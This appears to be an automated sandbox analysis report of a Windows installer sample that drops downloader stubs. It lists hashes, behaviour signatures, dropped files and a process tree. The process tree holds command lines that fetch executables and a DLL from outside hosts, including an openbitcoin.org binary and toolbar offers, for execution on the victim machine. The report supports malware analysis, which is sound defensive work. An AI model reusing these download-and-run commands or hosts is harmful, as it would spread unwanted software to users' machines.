Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04/10/2024, 01:26

General

  • Target

    1143784202f401894458b06afe9a994a_JaffaCakes118.exe

  • Size

    367KB

  • MD5

    1143784202f401894458b06afe9a994a

  • SHA1

    9dedfbd36a799703b0a31fd32f9fe22026f4c9cd

  • SHA256

    c476d82eab2616f8ce42e6dc9555ea679cc9dadf6daee5c77ef61e89e4187236

  • SHA512

    f99a04bf2fa3e602d2f0a50dffdf530e3b61c3aa742370eff8e49087bb30be486e5dd3709d17b7a559eeb0a3b2232470a29ceba183e0aafa72ad6f3ae333f2f3

  • SSDEEP

    6144:okNRExR6FlwmrvL/jT6Ld9uSRK/+RpRit9Mt96LemiXTs5DBOTMKsjpE6:oWRiYJrz/jN+LfC6BXg5sIHpF

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1143784202f401894458b06afe9a994a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\1143784202f401894458b06afe9a994a_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2780
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2816
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2704
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2684
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\volcano.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2712
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\pricepeep.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2732
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe 0 "file download" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2576
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe 4 "file download" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1464
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1520
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe 1 "file download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2040
    • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe 3 "file download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:664

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\4160be5e538743137ccb2add356bb6e6\preinstaller.exe

    Filesize

    241KB

    MD5

    9d8fe8bcc4c493b2fd1da8d2b07ba57c

    SHA1

    aa9366eb9210c8a5398b5e55921c92ce8970df5b

    SHA256

    f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

    SHA512

    3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

  • \Users\Admin\AppData\Local\Temp\nso2FF8.tmp\Processes.dll

    Filesize

    35KB

    MD5

    2cfba79d485cf441c646dd40d82490fc

    SHA1

    83e51ac1115a50986ed456bd18729653018b9619

    SHA256

    86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

    SHA512

    cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

  • \Users\Admin\AppData\Local\Temp\nsyE763.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • memory/664-416-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/664-999-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/664-715-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/1464-73-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2040-85-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2576-67-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/3056-107-0x0000000000400000-0x0000000000447000-memory.dmp

    Filesize

    284KB

  • memory/3056-72-0x0000000000400000-0x0000000000447000-memory.dmp

    Filesize

    284KB

  • memory/3056-1577-0x0000000000400000-0x0000000000447000-memory.dmp

    Filesize

    284KB